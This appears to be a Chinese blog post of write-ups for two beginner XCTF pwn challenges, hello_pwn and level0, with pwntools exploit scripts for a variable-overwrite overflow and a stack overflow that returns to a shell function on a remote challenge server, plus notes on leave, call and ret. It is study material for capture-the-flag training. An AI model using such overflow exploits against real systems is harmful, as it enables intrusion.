day-6 xctf-hello_pwn
阅读原文时间:2023年07月08日阅读:3

xctf-hello_pwn

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052

又是一个溢出,和昨天的有异曲同工之处:

差4个字节,溢出改变dword_60106C的值为nuaa(注意:这里为小端存储,要写为'aaun')

exp:

from pwn import *

#cnn = process('./hello_pwn')

cnn = remote('111.198.29.45',32280)

payload = 'a'*4+'aaun'

cnn.recvuntil('bof')

cnn.send(payload)

print(cnn.recv())

cnn.interactive()

exp

总结:注意小端 ~~注意小端 ~注意小端~

xctf-level0

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053

拖进ida后,F5查看,发现就是输出Hello world,然后执行函数vulnerable_function(),跟进:

找到一个read,buf长度为80。长度超出80以后,会实现地址随便跳转。

汇编查看一下。可以发现,在read时,将函数的返回地址覆盖为callsystem的地址,则可以实现漏洞利用。

针对leave指令,可以知道:Leave的作用相当==mov esp,ebp和pop ebp

retn == pop eip,所以后面得再加上4*2=8个字符的leave指令,再覆盖retn pop的eip

所以构造:payload = 'a'*80+'a'*8+(callsystem的地址),其中callsystem的地址为0x400596:

所以可以得到exp:

from pwn import *

#cnn = process('./level0')
cnn = remote('111.198.29.45',35563)

payload = 'a'*0x88+p64(0x400596)

cnn.sendline(payload)

cnn.interactive()

exp

得到shell,然后ls查看,cat flag命令得到flag:

总结:

enter指令:
push ebp # 将ebp压栈
mov ebp esp # 将%esp保存到%ebp, 这两步是函数的标准开头

leave指令
leave等效于以下汇编指令:
mov esp,ebp
pop ebp

call指令
call foo(foo是一个标号)等效于以下汇编指令:
push eip
mov eip , foo

ret指令
ret等效于以下汇编指令:
pop eip

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章